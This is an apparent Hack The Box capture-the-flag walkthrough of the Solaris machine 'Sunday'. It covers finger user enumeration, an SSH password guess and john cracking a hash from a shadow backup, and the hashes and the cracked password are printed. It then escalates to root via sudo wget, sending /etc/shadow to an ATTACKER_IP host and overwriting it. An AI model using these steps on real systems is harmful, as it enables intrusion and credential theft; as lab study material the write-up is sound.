### **Enumeration**

Running nmap scan against the target:

```
PORT
         STATE SERVICE REASON
                                      VERSION
79/tcp
         open finger syn-ack ttl 59 Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp
        open rpcbind syn-ack ttl 63
22022/tcp open ssh
                       syn-ack ttl 59 SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
| ssh-dss
AAAAB3NzaClkc3MAAACBAKQhj2N5gfwsseuHbx/yCXwOkphQCTzDyXaBw5SHg/vRBW9aYPsWUUV0XGZPl
   1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
|_ssh-rsa
AAAAB3NzaClyc2EAAAABIwAAAIEAxAwq7HNZXHr7XEeYeKsbnaruPQyUK5IkSE/FxHesBaKQ37AsLjw8i
39334/tcp open unknown syn-ack ttl 59
63977/tcp open unknown syn-ack ttl 63
```

It also identifies the OS running as Solaris. Its my first time pentesting a solaris machine but why not lets learn something new. From the port scan we can see that its running Sun Solaris fingerd service on port 79. There's no version number for this. Also its running rpcbind on port 111 and ssh on port 22022. Rest two ports are still unknown. So lets start with finger service.

#### **Port 79**

Google didn't give me much except username enumeration. I also found a github script for automating the enumeration process by running finger-user-enum script:

https://github.com/pentestmonkey/finger-user-enum

Now lets see how to run this script.

- -U is for usernames list
- -t host
- -m Number of resolver processes (Default 5)
- -s wait a max of n seconds for reply. (Default 5)

To speed up the process I gave 20 resolvers to process and 2 seconds for timeout. Now lets wait for the script to finish executing.

```
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-
enum )
                  Scan Information
Worker Processes ..... 20
Usernames file ...... /usr/share/seclists/Usernames/Names/names.txt
Target count ...... 1
Username count ..... 10177
Target TCP port ..... 79
Query timeout ..... 2 secs
Relay Server ..... Not used
####### Scan started at Sun Oct 31 12:45:35 2021 ########
access@10.129.249.10: access No Access User
>..nobody4 SunOS 4.x NFS Anonym
                                           anne marie@10.129.249.10: Login
                                Name
                                                   TTY
                                                              Idle
When
       Where..anne
                                 ???..marie
                                                          ???..
bin@10.129.249.10: bin
                               ???
                                                         dee dee@10.129.249.10: Login
                                                            Idle
                                                 TTY
                                                                   When
                               Name
                          ???..dee
Where..dee
                                                   ???..
jo ann@10.129.249.10: Login
                              Name
                                                TTY
                                                          Idle
                                                                  When
Where..jo
                          ???..ann
                                                   ???..
la verne@10.129.249.10: Login
                                Name
                                                  TTY
                                                             Idle
                                                                    When
Where..la
                          ???..verne
                                                   ???..
line@10.129.249.10: Login
                                                         Idle
                             Name
                                                                When
                                              TTY
Where..lp Line Printer Admin
message@10.129.249.10: Login
                                                 TTY
                                                            Idle
                                                                   When
                               Name
            SendMail Message Sub
Where..smmsp
```

```
root@10.129.249.10: root
                           Super-User
                                                             <Apr 24, 2018>
                                                 pts/3
sunday
sammy@10.129.249.10: sammy
                                         console
                                                      <Oct 10, 2020>...
sunny@10.129.249.10: sunny
                                                     <Apr 24, 2018>
                                         pts/3
10.10.14.4
sys@10.129.249.10: sys
                                 ???
                                                            Idle
zsa zsa@10.129.249.10: Login
                                 Name
                                                    TTY
                                                                       When
Where..zsa
                            ???..zsa
                                                      ???..
####### Scan completed at Sun Oct 31 12:50:22 2021 #######
13 results.
10177 queries in 287 seconds (35.5 queries / sec)
```

We can see there are 2 other users on the system apart from root: sammy and sunny. There are no other ports useful for us to enumerate other than ssh which we will brute force now.

#### **SSH** bruteforce

Let's start with username sunny as this username also aligns with the machine. Might be possible that we are able to bruteforce his password. First try with few common passwords like admin, root, box name or default credentials for the service.

Interestingly password sunday works for username sunny.

## **Initial Access**

```
RSA key fingerprint is SHA256:TmR09yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '[10.129.249.10]:22022' (RSA) to the list of known
hosts.

Password:

Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4

Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008

sunny@sunday:~$
```

Now, we have the low level access, we can start enumerating the machine further to gain root privileges.

In the root directory of the system, there is a folder called backup which contained a backup file of shadow. LOL.

```
sunny@sunday:/backup$ cat shadow.backup
mysql:NP::::::
openldap:*LK*:::::
webservd:*LK*:::::
postgres:NP:::::
svctag:*LK*:6445:::::
nobody:*LK*:6445:::::
noaccess:*LK*:6445:::::
noaccess:*LK*:6445:::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::
sunny@sunday:/backup$
```

Copy the sammy hash and crack with john.

```
(root kali)-[/home/rishabh/HTB/sunday]
# john sammy hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude! (?)
1g 0:00:00:28 DONE (2021-10-31 13:20) 0.03513g/s 7196p/s 7196c/s 7196C/s dominique15..bluemoon2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Now su to sammy.

# **Privilege Escalation**

User sammy can run /usr/bin/wget as root without a password. This is a great article on how to exploit wget as sudo for privilege escalation: <a href="https://vk9-sec.com/wget-privilege-escalation/">https://vk9-sec.com/wget-privilege-escalation/</a>

In summary, transfer the contents of /etc/shadow using --post-file switch of wget to your machine. Edit the root hash to any user's hash or you can even create your own hash and put it there. Now, tansfer the edited shadow file to victim machine again using "sudo wget ATTACKER\_IP:PORT/shadow -O /etc/shadow".

Now switch user to root and enter the password of which you have put hash in shadow file. You will get root shell!

```
sunny@sunday:/tmp$ su -
Password:
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
You have new mail.
root@sunday:~#
```

Voila!! Pwned sunday. Easy machine overall. Not much to enumerate except the privilege escalation technique was new to me. Good night, and I will be back tomorrow with another machine!!